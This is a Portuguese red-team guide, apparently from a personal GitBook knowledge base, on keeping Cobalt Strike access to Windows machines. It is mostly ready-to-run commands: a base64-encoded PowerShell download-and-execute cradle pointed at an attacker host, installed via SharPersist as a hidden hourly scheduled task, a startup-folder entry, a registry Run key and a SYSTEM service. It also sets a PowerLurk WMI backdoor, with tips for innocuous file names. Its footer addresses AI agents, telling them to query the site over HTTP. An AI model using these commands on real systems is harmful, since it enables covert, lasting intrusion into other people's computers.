# Persistência

## Acesso Comum

O Cobalt Strike não inclui nenhum comando integrado especificamente para persistência, porém existe uma ferramenta boa chamada SharPersist, que é um kit de ferramentas de persistência do Windows escrito pela FireEye. Está escrito em C#, portanto pode ser executado via `execute-assembly`.

### Task Schedule

Abra o powershell (de qualquer máquina) e execute os comandos abaixo. Lembre-se de alterar o caminho web para o caminho configurado no CS.

```bash
$str = 'IEX ((new-object net.webclient).downloadstring("http://<ip>/mysther"))'
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))
```

Caso prefira, pode executar também a partir de um Linux

```bash
set str 'IEX ((new-object net.webclient).downloadstring("http://<ip>/mysther"))'
echo -en $str | iconv -t UTF-16LE | base64 -w 0
```

Agora é necessário ter o `SharPersist` na máquina atacante para poder prosseguir (o `execute-assembly` lê arquivos localmente). Abaixo estamos programando a máquina alvo para executar a cada 1 hora, o comando definido acima. Altere o comando de acordo com a saída do comando anterior:

```bash
execute-assembly <C:\path\to\SharPersist\SharPersist\bin\Release\SharPersist.exe> -t schtask -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc <saida-comando-anterior>" -n "nome-task" -m add -o hourly
```

Explicação:

* `-t` = Técnica de persistência desejada
* `-c` = Comando a ser executado.
* `-a` = Argumentos
* `-n` = Nome da tarefa
* `-m` = Adicionar a tarefa (também é possível remover, verificar e listar)
* `-o` = Frequencia da tarefa

### Startup Folder

Utilize o mesmo esquema de conversão de comando em base64 com unicode para o comando abaixo. Altere o valor do parâmentro `-f` para definir o nome do arquivo. Deixe algo como setup, config, init, etc. Mas atente-se para não colocar o nome de um arquivo que já existe.

```bash
execute-assembly <C:\path\to\SharPersist\SharPersist\bin\Release\SharPersist.exe -t startupfolder -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc <saida-comando-anterior>" -f "<filename>" -m add
```

### Registry AutoRun

Primeiro faça upload do arquivo malicioso gerado pelo CS

```bash
cd c:\windows\temp
upload <c:\path\to\file>
```

Agora acesse-o, alterando no comando abaixo o caminho do arquivo e o parâmetro `-v` que é o nome da chave de registro que irá ser criada

```bash
execute-assembly <C:\path\to\SharPersist\SharPersist\bin\Release\SharPersist.exe> -t reg -c "<C:\ProgramData\evil.exe>" -a "/q /n" -k "hkcurun" -v "<key-name>" -m add
```

###

## Acesso SYSTEM

Antes de começar, lembre-se de que os processos `SYSTEM` não podem ser autenticados no proxy da web, portanto não podemos usar HTTP Beacons. Então deve-se usar beacons P2P ou DNS. E é claro, tenha em mãos um usuário com altos privilégios.

### Windows Services

Muitos serviços do Windows que são executados como SYSTEM, mas podemos criar o nosso próprio serviço que não terá impacto nos serviços existentes. Faça primeiro o upload do `tcp-local_x64.svc.exe` e renomeie para `mysther-svc.exe`. Agora execute:

```bash
execute-assembly <C:\Path\to\SharPersist\SharPersist\bin\Release\SharPersist.exe> -t service -c "<C:\Path\to\mysther-svc.exe>" -n "mysther-svc" -m add
```

Após isso, a máquina deve ser reiniciada para que o serviço fique ativo e, para acessar de fato o Beacon, devemos executar o comando abaixo:

```bash
connect localhost 4444
```

### WMI Event Subscriptions

A persistência por meio de eventos WMI pode ser alcançada aproveitando as três classes a seguir:

* `EventConsumer` = Ação que queremos realizar – neste caso, executar uma carga útil. Isso pode ser feito por meio de comandos do sistema operacional (como uma linha única do PowerShell) ou VBScript
* `EventFilter` = Gatilho sobre o qual podemos agir. Qualquer consulta WMI arbitrária pode ser usada como um filtro que oferece opções praticamente ilimitadas. Isso pode incluir quando um processo específico é iniciado, quando um usuário faz login, quando um dispositivo USB é inserido, em qualquer horário específico do dia ou em um intervalo de tempo
* `FilterToConsumerBinding` = Simplesmente vincula um EventConsumer e um EventFilter

No comando abaixo, iremos utilizar o PowerLurk, que é uma ferramenta do PowerShell para criar esses eventos WMI. Neste exemplo, iremos carregar uma carga DNS no diretório do Windows, importando o PowerLurk.ps1 e criando uma nova assinatura de evento WMI que a executará sempre que o `notepad.exe` (poderia ser qualquer outro programa) for iniciado.

```bash
cd C:\Windows
upload <C:\Path\to\dns_x64.exe>
powershell-import <C:\Path\to\PowerLurk.ps1>
powershell Register-MaliciousWmiEvent -EventName WmiBackdoor -PermanentCommand "C:\Windows\dns_x64.exe" -Trigger ProcessStart -ProcessName notepad.exe
```

Feito isso, basta esperar o alvo abrir o `notepad.exe`, que irá gerar o Beacon no CS. Para remover o backdoor, basta executar o comando abaixo:

```bash
Get-WmiEvent -Name WmiBackdoor | Remove-WmiObject
```

### Sites

```bash
# PowerLurk
https://github.com/Sw4mpf0x/PowerLurk

# SharPersist
https://github.com/fireeye/SharPersist
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://mysther.gitbook.io/knowledge-base/ataques/tools/cobalt-strike/persistencia.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
